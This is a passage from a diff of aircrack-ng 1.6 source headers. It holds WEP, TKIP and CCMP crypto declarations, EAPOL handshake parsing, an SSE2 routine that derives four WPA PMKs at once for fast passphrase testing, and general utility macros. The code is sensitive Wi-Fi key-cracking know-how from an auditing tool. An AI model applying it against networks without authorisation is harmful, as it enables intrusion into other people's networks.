+/* Used for own RC4 implementation */
+struct rc4_state
+{
+	int x, y, m[256];
+};
+
+struct AP_info;
+
+void calc_pmk(char * key, char * essid, unsigned char pmk[40]);
+int decrypt_wep(unsigned char * data, int len, unsigned char * key, int keylen);
+int encrypt_wep(unsigned char * data, int len, unsigned char * key, int keylen);
+int check_crc_buf(const unsigned char * buf, int len);
+int calc_crc_buf(const unsigned char * buf, int len);
+void calc_mic(struct AP_info * ap,
+			  unsigned char * pmk,
+			  unsigned char * ptk,
+			  unsigned char * mic);
+int known_clear(
+	void * clear, int * clen, int * weight, unsigned char * wh, size_t len);
+int add_crc32(unsigned char * data, int length);
+int add_crc32_plain(unsigned char * data, int length);
+int is_ipv6(void * wh);
+int is_dhcp_discover(void * wh, size_t len);
+int is_qos_arp_tkip(void * wh, int len);
+int calc_tkip_ppk(unsigned char * h80211,
+				  int caplen,
+				  unsigned char TK1[16],
+				  unsigned char key[16]);
+void encrypt_tkip(unsigned char * h80211, int caplen, unsigned char PTK[80]);
+int decrypt_tkip(unsigned char * h80211, int caplen, unsigned char TK1[16]);
+int encrypt_ccmp(unsigned char * h80211,
+				 int caplen,
+				 unsigned char TK1[16],
+				 unsigned char PN[6]);
+int decrypt_ccmp(unsigned char * h80211, int caplen, unsigned char TK1[16]);
+int calc_ptk(struct WPA_ST_info * wpa, unsigned char pmk[32]);
+int calc_tkip_mic(unsigned char * packet,
+				  int length,
+				  unsigned char ptk[80],
+				  unsigned char value[8]);
+int michael_test(unsigned char key[8],
+				 unsigned char * message,
+				 int length,
+				 unsigned char out[8]);
+int calc_tkip_mic_key(unsigned char * packet, int length, unsigned char key[8]);
+
+extern const unsigned long int crc_tbl[256];
+extern const unsigned char crc_chop_tbl[256][4];
+
+static inline void add_icv(unsigned char * input, int len, int offset)
+{
+	REQUIRE(input != NULL);
+	REQUIRE(len > 0 && len < (INT_MAX - 4));
+	REQUIRE(offset >= 0 && offset <= len);
+
+	unsigned long crc = 0xFFFFFFFF;
+
+	for (int n = offset; n < len; n++)
+		crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8);
+
+	crc = ~crc;
+
+	input[len] = (uint8_t)((crc) &0xFF);
+	input[len + 1] = (uint8_t)((crc >> 8) & 0xFF);
+	input[len + 2] = (uint8_t)((crc >> 16) & 0xFF);
+	input[len + 3] = (uint8_t)((crc >> 24) & 0xFF);
+}
+
+static inline int eapol_handshake_step(const unsigned char * eapol,
+									   const int len)
+{
+	REQUIRE(eapol != NULL);
+
+	const int eapol_size = 4 + 1 + 2 + 2 + 8 + 32 + 16 + 8 + 8 + 16 + 2;
+
+	if (len < eapol_size) return (0);
+
+	/* not pairwise */
+	if ((eapol[6] & 0x08) == 0) return (0);
+
+	/* 1: has no mic */
+	if ((eapol[5] & 1) == 0) return (1);
+
+	/* 3: has ack */
+	if ((eapol[6] & 0x80) != 0) return (3);
+
+	if (*((uint16_t *) &eapol[eapol_size - 2]) == 0) return (4);
+
+	return (2);
+}
+
+/// Initialize the system cryptography librar(ies).
+API_IMPORT
+void ac_crypto_init(void);
+
+#endif /* crypto.h */

aircrack-ng-1.6.tar.gz/include/aircrack-ng/crypto/gcrypt-openssl-wrapper.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/crypto/sha1-git.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/crypto/sha1-sse2.h Added

@@ -0,0 +1,392 @@
+/* C code for SSE2 (i386) optimized SHA1 - License: GPLv2
+ * (c) nx5 <naplam33@msn.com>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <time.h>
+
+#include <aircrack-ng/crypto/crypto.h>
+
+#if defined(__i386__) || ((defined(__x86_64__) && !defined(__CYGWIN__))        \
+						  || (defined(__x86_64__) && defined(__CYGWIN__)       \
+							  && !defined(__clang__)))
+
+#ifdef OLD_SSE_CORE
+void show_result(char * key, unsigned char * pmk)
+{
+	int i;
+	printf("%-14s ", key);
+	for (i = 0; i < 32; i++) printf("%.2X", pmk[i]);
+	printf("\n");
+}
+
+#endif
+extern int shasse2_init(unsigned char ctx[80]) __attribute__((regparm(1)));
+
+extern int shasse2_ends(unsigned char ctx[80], unsigned char digests[80])
+	__attribute__((regparm(2)));
+
+extern int shasse2_data(unsigned char ctx[80],
+						unsigned char data[256],
+						unsigned char buf[1280]) __attribute__((regparm(3)));
+
+extern int shasse2_cpuid(void);
+
+#ifdef OLD_SSE_CORE
+void calc_4pmk(char * _key1,
+			   char * _key2,
+			   char * _key3,
+			   char * _key4,
+			   char * _essid,
+			   unsigned char * _pmk1,
+			   unsigned char * _pmk2,
+			   unsigned char * _pmk3,
+			   unsigned char * _pmk4)
+{
+	int slen;
+	char essid[36] __attribute__((aligned(16)));
+	char key1[128] __attribute__((aligned(16)));
+	char key2[128] __attribute__((aligned(16)));
+	char key3[128] __attribute__((aligned(16)));
+	char key4[128] __attribute__((aligned(16)));
+	unsigned char pmks[128 * 4] __attribute__((aligned(16)));
+
+	// All in double size
+	unsigned char k_ipad[256] __attribute__((aligned(16)));
+	unsigned char ctx_ipad[80] __attribute__((aligned(16)));
+	unsigned char k_opad[256] __attribute__((aligned(16)));
+	unsigned char ctx_opad[80] __attribute__((aligned(16)));
+	unsigned char buffer[256] __attribute__((aligned(16)));
+	unsigned char sha1_ctx[80] __attribute__((aligned(16)));
+	unsigned char wrkbuf[1280] __attribute__((aligned(16)));
+	unsigned i, *u, *v, *w, *u3, *v4;
+	unsigned char *pmk1, *pmk2, *pmk3, *pmk4;
+
+	pmk1 = pmks;
+	pmk2 = pmks + 128;
+	pmk3 = pmks + 128 * 2;
+	pmk4 = pmks + 128 * 3;
+
+	memset(key1, 0, sizeof(key1));
+	memset(key2, 0, sizeof(key2));
+	memset(key3, 0, sizeof(key3));
+	memset(key4, 0, sizeof(key4));
+	memset(essid, 0, sizeof(essid));
+	memset(pmks, 0, sizeof(pmks));
+	memset(buffer, 0, sizeof(buffer));
+	memset(wrkbuf, 0, sizeof(wrkbuf));
+
+	memccpy(essid, _essid, 0, sizeof(essid));
+	memccpy(key1, _key1, 0, sizeof(key1));
+	memccpy(key2, _key2, 0, sizeof(key2));
+	memccpy(key3, _key3, 0, sizeof(key3));
+	memccpy(key4, _key4, 0, sizeof(key4));
+
+	slen = strlen(essid) + 4;
+
+	/* SSE2 available, so compute four PMKs in a single row */
+
+	memset(k_ipad, 0, sizeof(k_ipad));
+	memset(k_opad, 0, sizeof(k_opad));
+
+	memcpy(k_ipad, key1, strlen(key1));
+	memcpy(k_opad, key1, strlen(key1));
+
+	memcpy(k_ipad + 64, key2, strlen(key2));
+	memcpy(k_opad + 64, key2, strlen(key2));
+
+	memcpy(k_ipad + 128, key3, strlen(key3));
+	memcpy(k_opad + 128, key3, strlen(key3));
+
+	memcpy(k_ipad + 192, key4, strlen(key4));
+	memcpy(k_opad + 192, key4, strlen(key4));
+
+	u = (unsigned *) (k_ipad);
+	v = (unsigned *) (k_ipad + 64);
+	u3 = (unsigned *) (k_ipad + 128);
+	v4 = (unsigned *) (k_ipad + 192);
+	w = (unsigned *) buffer;
+
+	for (i = 0; i < 16; i++)
+	{
+		/* interleave the data */
+
+		*w++ = *u++ ^ 0x36363636;
+		*w++ = *v++ ^ 0x36363636;
+		*w++ = *u3++ ^ 0x36363636;
+		*w++ = *v4++ ^ 0x36363636;
+	}
+
+	shasse2_init(ctx_ipad);
+	shasse2_data(ctx_ipad, buffer, wrkbuf);
+
+	u = (unsigned *) (k_opad);
+	v = (unsigned *) (k_opad + 64);
+	u3 = (unsigned *) (k_opad + 128);
+	v4 = (unsigned *) (k_opad + 192);
+	w = (unsigned *) buffer;
+
+	for (i = 0; i < 16; i++)
+	{
+		*w++ = *u++ ^ 0x5C5C5C5C;
+		*w++ = *v++ ^ 0x5C5C5C5C;
+		*w++ = *u3++ ^ 0x5C5C5C5C;
+		*w++ = *v4++ ^ 0x5C5C5C5C;
+	}
+
+	shasse2_init(ctx_opad);
+	shasse2_data(ctx_opad, buffer, wrkbuf);
+
+	memset(buffer, 0, sizeof(buffer));
+
+	buffer[80] = buffer[84] = buffer[88] = buffer[92] = 0x80;
+	buffer[242] = buffer[246] = buffer[250] = buffer[254] = 0x02;
+	buffer[243] = buffer[247] = buffer[251] = buffer[255] = 0xA0;
+
+	essid[slen - 1] = '\1';
+
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key1,
+		 strlen(key1),
+		 (unsigned char *) essid,
+		 slen,
+		 pmk1,
+		 NULL);
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key2,
+		 strlen(key2),
+		 (unsigned char *) essid,
+		 slen,
+		 pmk2,
+		 NULL);
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key3,
+		 strlen(key3),
+		 (unsigned char *) essid,
+		 slen,
+		 pmk3,
+		 NULL);
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key4,
+		 strlen(key4),
+		 (unsigned char *) essid,
+		 slen,
+		 pmk4,
+		 NULL);
+
+	u = (unsigned *) pmk1;
+	v = (unsigned *) pmk2;
+	u3 = (unsigned *) pmk3;
+	v4 = (unsigned *) pmk4;
+	w = (unsigned *) buffer;
+
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+
+	for (i = 1; i < 4096; i++)
+	{
+		memcpy(sha1_ctx, ctx_ipad, 80); // eran 40
+		shasse2_data(sha1_ctx, buffer, wrkbuf);
+		shasse2_ends(sha1_ctx, buffer);
+
+		memcpy(sha1_ctx, ctx_opad, 80);
+		shasse2_data(sha1_ctx, buffer, wrkbuf);
+		shasse2_ends(sha1_ctx, buffer);
+
+		u = (unsigned *) pmk1;
+		v = (unsigned *) pmk2;
+		u3 = (unsigned *) pmk3;
+		v4 = (unsigned *) pmk4;
+		w = (unsigned *) buffer;
+
+		/* de-interleave the digests */
+		*u++ ^= *w++;
+		*v++ ^= *w++;
+		*u3++ ^= *w++;
+		*v4++ ^= *w++;
+		*u++ ^= *w++;
+		*v++ ^= *w++;
+		*u3++ ^= *w++;
+		*v4++ ^= *w++;
+		*u++ ^= *w++;
+		*v++ ^= *w++;
+		*u3++ ^= *w++;
+		*v4++ ^= *w++;
+		*u++ ^= *w++;
+		*v++ ^= *w++;
+		*u3++ ^= *w++;
+		*v4++ ^= *w++;
+		*u++ ^= *w++;
+		*v++ ^= *w++;
+		*u3++ ^= *w++;
+		*v4++ ^= *w++;
+	}
+
+	essid[slen - 1] = '\2';
+
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key1,
+		 strlen(key1),
+		 (unsigned char *) essid,
+		 slen,
+		 pmk1 + 20,
+		 NULL);
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key2,
+		 strlen(key2),
+		 (unsigned char *) essid,
+		 slen,
+		 pmk2 + 20,
+		 NULL);
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key3,
+		 strlen(key3),
+		 (unsigned char *) essid,
+		 slen,
+		 pmk3 + 20,
+		 NULL);
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key4,
+		 strlen(key4),
+		 (unsigned char *) essid,
+		 slen,
+		 pmk4 + 20,
+		 NULL);
+
+	u = (unsigned *) (pmk1 + 20); // eran 20
+	v = (unsigned *) (pmk2 + 20);
+	u3 = (unsigned *) (pmk3 + 20); // eran 20
+	v4 = (unsigned *) (pmk4 + 20);
+	w = (unsigned *) buffer;
+
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+
+	for (i = 1; i < 4096; i++)
+	{
+		memcpy(sha1_ctx, ctx_ipad, 80); // eran 40
+		shasse2_data(sha1_ctx, buffer, wrkbuf);
+		shasse2_ends(sha1_ctx, buffer);
+
+		memcpy(sha1_ctx, ctx_opad, 80);
+		shasse2_data(sha1_ctx, buffer, wrkbuf);
+		shasse2_ends(sha1_ctx, buffer);
+
+		u = (unsigned *) (pmk1 + 20); // eran 20
+		v = (unsigned *) (pmk2 + 20);
+		u3 = (unsigned *) (pmk3 + 20);
+		v4 = (unsigned *) (pmk4 + 20);
+		w = (unsigned *) buffer;
+
+		*u++ ^= *w++;
+		*v++ ^= *w++;
+		*u3++ ^= *w++;
+		*v4++ ^= *w++;
+		*u++ ^= *w++;
+		*v++ ^= *w++;
+		*u3++ ^= *w++;
+		*v4++ ^= *w++;
+		*u++ ^= *w++;
+		*v++ ^= *w++;
+		*u3++ ^= *w++;
+		*v4++ ^= *w++;
+	}
+
+	memcpy(_pmk3, pmk3, 32);
+	memcpy(_pmk4, pmk4, 32);
+	memcpy(_pmk1, pmk1, 32);
+	memcpy(_pmk2, pmk2, 32);
+
+	/*printf("\n");
+	show_result(_key1, _pmk1);
+	show_result(_key2, _pmk2);
+	show_result(_key3, _pmk3);
+	show_result(_key4, _pmk4);
+	fflush(stdout);*/
+}
+#endif
+#else
+#ifdef OLD_SSE_CORE
+void calc_4pmk(char * _key1,
+			   char * _key2,
+			   char * _key3,
+			   char * _key4,
+			   char * _essid,
+			   unsigned char * _pmk1,
+			   unsigned char * _pmk2,
+			   unsigned char * _pmk3,
+			   unsigned char * _pmk4)
+{
+	calc_pmk(_key1, _essid, _pmk1);
+	calc_pmk(_key2, _essid, _pmk2);
+	calc_pmk(_key3, _essid, _pmk3);
+	calc_pmk(_key4, _essid, _pmk4);
+}
+#endif
+#endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/defs.h Added

@@ -0,0 +1,210 @@
+/**
+ * Copyright (C) 2018-2020 Joseph Benden <joe@benden.us>
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ * DEALINGS IN THE SOFTWARE.
+ **/
+
+#ifndef AIRCRACK_NG_DEFS_H
+#define AIRCRACK_NG_DEFS_H
+
+#include <stdlib.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stddef.h>
+#include <stdbool.h>
+#include <string.h>
+#include <assert.h>
+
+// NOTE(jbenden): These macros violates MISRA C:2012. 20.10 - The #
+// and ## preprocessor operators should not be used.
+#define ALLEGE(c)                                                              \
+	do                                                                         \
+	{                                                                          \
+		if (!(c))                                                              \
+		{                                                                      \
+			fprintf(stderr, "FAILED:%s:%d: %s\n", __FILE__, __LINE__, #c);     \
+			abort();                                                           \
+		}                                                                      \
+	} while (0)
+#define REQUIRE(c)                                                             \
+	do                                                                         \
+	{                                                                          \
+		if (!(c))                                                              \
+		{                                                                      \
+			fprintf(stderr, "Pre-condition Failed: %s\n", #c);                 \
+			abort();                                                           \
+		}                                                                      \
+	} while (0)
+#define ENSURE(c)                                                              \
+	do                                                                         \
+	{                                                                          \
+		if (!(c))                                                              \
+		{                                                                      \
+			fprintf(stderr, "Post-condition Failed: %s\n", #c);                \
+			abort();                                                           \
+		}                                                                      \
+	} while (0)
+#define INVARIANT(c)                                                           \
+	do                                                                         \
+	{                                                                          \
+		if (!(c))                                                              \
+		{                                                                      \
+			fprintf(stderr, "Invariant Failed: %s\n", #c);                     \
+			abort();                                                           \
+		}                                                                      \
+	} while (0)
+
+#ifdef NDEBUG
+#undef REQUIRE
+#define REQUIRE(c)
+#undef ENSURE
+#define ENSURE(c)
+#undef INVARIANT
+#define INVARIANT(c)
+#endif
+
+#if defined(_MSC_VER)
+//  Microsoft
+#define API_EXPORT __declspec(dllexport)
+#define API_IMPORT __declspec(dllimport)
+#elif defined(__GNUC__) || defined(__llvm__) || defined(__clang__)             \
+	|| defined(__INTEL_COMPILER)
+#define API_EXPORT __attribute__((visibility("default")))
+#define API_IMPORT
+#else
+//  do nothing and hope for the best?
+#define API_EXPORT
+#define API_IMPORT
+#pragma warning Unknown dynamic link import / export semantics.
+#endif
+
+#define STATIC_ASSERT(COND, MSG)                                               \
+	typedef char static_assertion_##MSG[(!!(COND)) * 2 - 1]
+// token pasting madness:
+#define COMPILE_TIME_ASSERT3(X, L)                                             \
+	STATIC_ASSERT(X, static_assertion_at_line_##L)
+#define COMPILE_TIME_ASSERT2(X, L) COMPILE_TIME_ASSERT3(X, L)
+#define COMPILE_TIME_ASSERT(X) COMPILE_TIME_ASSERT2(X, __LINE__)
+
+#if defined(__GNUC__) || defined(__llvm__) || defined(__clang__)               \
+	|| defined(__INTEL_COMPILER)
+#define likely(x) __builtin_expect(!!(x), 1)
+#define unlikely(x) __builtin_expect(!!(x), 0)
+#else
+#define likely(x) (x)
+#define unlikely(x) (x)
+#endif
+
+#define UNUSED_PARAM(x) (void) x
+
+#ifdef UNUSED
+#elif defined(__GNUC__)
+#define UNUSED(x) UNUSED_##x __attribute__((unused))
+#elif defined(__LCLINT__)
+#define UNUSED(x) /*@unused@*/ x
+#else
+#define UNUSED(x) x
+#endif
+
+#define ArrayCount(a) (sizeof((a)) / sizeof((a)[0]))
+
+#define IGNORE_LTZ(c)                                                          \
+	do                                                                         \
+	{                                                                          \
+		int __rc = (c);                                                        \
+		if (__rc < 0)                                                          \
+		{                                                                      \
+			fprintf(stderr,                                                    \
+					"%s:%d:Function failed(%d:%d): %s\n",                      \
+					__FILE__,                                                  \
+					__LINE__,                                                  \
+					__rc,                                                      \
+					errno,                                                     \
+					#c);                                                       \
+		}                                                                      \
+	} while (0)
+
+#define IGNORE_NZ(c)                                                           \
+	do                                                                         \
+	{                                                                          \
+		int __rc = (c);                                                        \
+		if (__rc != 0)                                                         \
+		{                                                                      \
+			fprintf(stderr,                                                    \
+					"%s:%d:Function failed(%d:%d): %s\n",                      \
+					__FILE__,                                                  \
+					__LINE__,                                                  \
+					__rc,                                                      \
+					errno,                                                     \
+					#c);                                                       \
+		}                                                                      \
+	} while (0)
+
+#define IGNORE_ZERO(c)                                                         \
+	do                                                                         \
+	{                                                                          \
+		if ((c) == 0)                                                          \
+		{                                                                      \
+			fprintf(stderr,                                                    \
+					"%s:%d:Function failed(%d): %s\n",                         \
+					__FILE__,                                                  \
+					__LINE__,                                                  \
+					errno,                                                     \
+					#c);                                                       \
+		}                                                                      \
+	} while (0)
+
+#if __STDC_VERSION__ >= 199901L
+#define DO_PRAGMA(x) _Pragma (#x)
+#else
+#define DO_PRAGMA(x)
+#endif
+
+#if defined(__clang_major__) && __clang_major__ >= 4
+#define UNROLL_LOOP_N_TIME(n) DO_PRAGMA(clang loop unroll_count(n))
+#elif defined(__GNUC__) && __GNUC__ >= 8
+#define UNROLL_LOOP_N_TIME(n) DO_PRAGMA(GCC unroll n)
+#else
+#define UNROLL_LOOP_N_TIME(n)
+#endif
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+static inline size_t ustrlen(const uint8_t * s1)
+{
+	return strlen((const char *) s1);
+}
+
+#define destroy(var, fn)                                                       \
+	({                                                                         \
+		if ((var) != NULL)                                                     \
+		{                                                                      \
+			fn((__typeof__(var))(var));                                        \
+                                                                               \
+			(var) = NULL;                                                      \
+		}                                                                      \
+	})
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/osdep Added

aircrack-ng-1.6.tar.gz/include/aircrack-ng/osdep/byteorder.h Added

@@ -0,0 +1,503 @@
+/*
+ *  Compatibility header
+ *
+ *  Copyright (C) 2009-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifndef _AIRCRACK_NG_BYTEORDER_H_
+#define _AIRCRACK_NG_BYTEORDER_H_
+
+#include <string.h>
+
+#define ___my_swab16(x)                                                        \
+	((u_int16_t)((((u_int16_t)(x) & (u_int16_t) 0x00ffU) << 8u)                \
+				 | (((u_int16_t)(x) & (u_int16_t) 0xff00U) >> 8u)))
+#define ___my_swab32(x)                                                        \
+	((u_int32_t)((((u_int32_t)(x) & (u_int32_t) 0x000000ffUL) << 24u)          \
+				 | (((u_int32_t)(x) & (u_int32_t) 0x0000ff00UL) << 8u)         \
+				 | (((u_int32_t)(x) & (u_int32_t) 0x00ff0000UL) >> 8u)         \
+				 | (((u_int32_t)(x) & (u_int32_t) 0xff000000UL) >> 24u)))
+#define ___my_swab64(x)                                                        \
+	((u_int64_t)(                                                              \
+		(u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x00000000000000ffULL)       \
+					<< 56u)                                                    \
+		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x000000000000ff00ULL)     \
+					  << 40u)                                                  \
+		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x0000000000ff0000ULL)     \
+					  << 24u)                                                  \
+		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x00000000ff000000ULL)     \
+					  << 8u)                                                   \
+		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x000000ff00000000ULL)     \
+					  >> 8u)                                                   \
+		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x0000ff0000000000ULL)     \
+					  >> 24u)                                                  \
+		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x00ff000000000000ULL)     \
+					  >> 40u)                                                  \
+		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0xff00000000000000ULL)     \
+					  >> 56u)))
+
+/*
+	 * Linux
+	 */
+#if defined(linux) || defined(Linux) || defined(__linux__) || defined(__linux) \
+	|| defined(__gnu_linux__)
+#include <endian.h>
+#include <unistd.h>
+#include <stdint.h>
+
+#ifndef __int8_t_defined
+typedef uint64_t u_int64_t;
+typedef uint32_t u_int32_t;
+typedef uint16_t u_int16_t;
+typedef uint8_t u_int8_t;
+#endif
+
+#endif
+
+/*
+	 * Cygwin
+	 */
+#if defined(__CYGWIN32__) || defined(CYGWIN)
+#include <asm/byteorder.h>
+#include <unistd.h>
+
+#define __be64_to_cpu(x) ___my_swab64(x)
+#define __be32_to_cpu(x) ___my_swab32(x)
+#define __be16_to_cpu(x) ___my_swab16(x)
+#define __cpu_to_be64(x) ___my_swab64(x)
+#define __cpu_to_be32(x) ___my_swab32(x)
+#define __cpu_to_be16(x) ___my_swab16(x)
+#define __le64_to_cpu(x) (x)
+#define __le32_to_cpu(x) (x)
+#define __le16_to_cpu(x) (x)
+#define __cpu_to_le64(x) (x)
+#define __cpu_to_le32(x) (x)
+#define __cpu_to_le16(x) (x)
+
+#define AIRCRACK_NG_BYTE_ORDER_DEFINED
+
+#endif
+
+/*
+	 * Windows (DDK)
+	 */
+#if defined(__WIN__)
+
+#include <io.h>
+
+#define __be64_to_cpu(x) ___my_swab64(x)
+#define __be32_to_cpu(x) ___my_swab32(x)
+#define __be16_to_cpu(x) ___my_swab16(x)
+#define __cpu_to_be64(x) ___my_swab64(x)
+#define __cpu_to_be32(x) ___my_swab32(x)
+#define __cpu_to_be16(x) ___my_swab16(x)
+#define __le64_to_cpu(x) (x)
+#define __le32_to_cpu(x) (x)
+#define __le16_to_cpu(x) (x)
+#define __cpu_to_le64(x) (x)
+#define __cpu_to_le32(x) (x)
+#define __cpu_to_le16(x) (x)
+
+#define AIRCRACK_NG_BYTE_ORDER_DEFINED
+
+#endif
+
+/*
+	 * MAC (Darwin)
+	 */
+#if defined(__APPLE_CC__)
+#if defined(__x86_64__) && defined(__APPLE__)
+
+#include <libkern/OSByteOrder.h>
+
+#define __swab64(x) (unsigned long long) OSSwapInt64((uint64_t) x)
+#define __swab32(x) (unsigned long) OSSwapInt32((uint32_t) x)
+#define __swab16(x) (unsigned short) OSSwapInt16((uint16_t) x)
+#define __be64_to_cpu(x) (unsigned long long) OSSwapBigToHostInt64((uint64_t) x)
+#define __be32_to_cpu(x) (unsigned long) OSSwapBigToHostInt32((uint32_t) x)
+#define __be16_to_cpu(x) (unsigned short) OSSwapBigToHostInt16((uint16_t) x)
+#define __le64_to_cpu(x)                                                       \
+	(unsigned long long) OSSwapLittleToHostInt64((uint64_t) x)
+#define __le32_to_cpu(x) (unsigned long) OSSwapLittleToHostInt32((uint32_t) x)
+#define __le16_to_cpu(x) (unsigned short) OSSwapLittleToHostInt16((uint16_t) x)
+#define __cpu_to_be64(x) (unsigned long long) OSSwapHostToBigInt64((uint64_t) x)
+#define __cpu_to_be32(x) (unsigned long) OSSwapHostToBigInt32((uint32_t) x)
+#define __cpu_to_be16(x) (unsigned short) OSSwapHostToBigInt16((uint16_t) x)
+#define __cpu_to_le64(x)                                                       \
+	(unsigned long long) OSSwapHostToLittleInt64((uint64_t) x)
+#define __cpu_to_le32(x) (unsigned long) OSSwapHostToLittleInt32((uint32_t) x)
+#define __cpu_to_le16(x) (unsigned short) OSSwapHostToLittleInt16((uint16_t) x)
+
+#else
+
+#include <architecture/byte_order.h>
+
+#define __swab64(x) NXSwapLongLong(x)
+#define __swab32(x) NXSwapLong(x)
+#define __swab16(x) NXSwapShort(x)
+#define __be64_to_cpu(x) NXSwapBigLongLongToHost(x)
+#define __be32_to_cpu(x) NXSwapBigLongToHost(x)
+#define __be16_to_cpu(x) NXSwapBigShortToHost(x)
+#define __le64_to_cpu(x) NXSwapLittleLongLongToHost(x)
+#define __le32_to_cpu(x) NXSwapLittleLongToHost(x)
+#define __le16_to_cpu(x) NXSwapLittleShortToHost(x)
+#define __cpu_to_be64(x) NXSwapHostLongLongToBig(x)
+#define __cpu_to_be32(x) NXSwapHostLongToBig(x)
+#define __cpu_to_be16(x) NXSwapHostShortToBig(x)
+#define __cpu_to_le64(x) NXSwapHostLongLongToLittle(x)
+#define __cpu_to_le32(x) NXSwapHostLongToLittle(x)
+#define __cpu_to_le16(x) NXSwapHostShortToLittle(x)
+
+#endif
+
+#define __LITTLE_ENDIAN 1234
+#define __BIG_ENDIAN 4321
+#define __PDP_ENDIAN 3412
+#define __BYTE_ORDER __BIG_ENDIAN
+
+#define AIRCRACK_NG_BYTE_ORDER_DEFINED
+
+#endif
+
+/*
+	 * Solaris
+	 * -------
+	 */
+#if defined(__SVR4) && defined(__sun__)
+#include <sys/byteorder.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+typedef uint64_t u_int64_t;
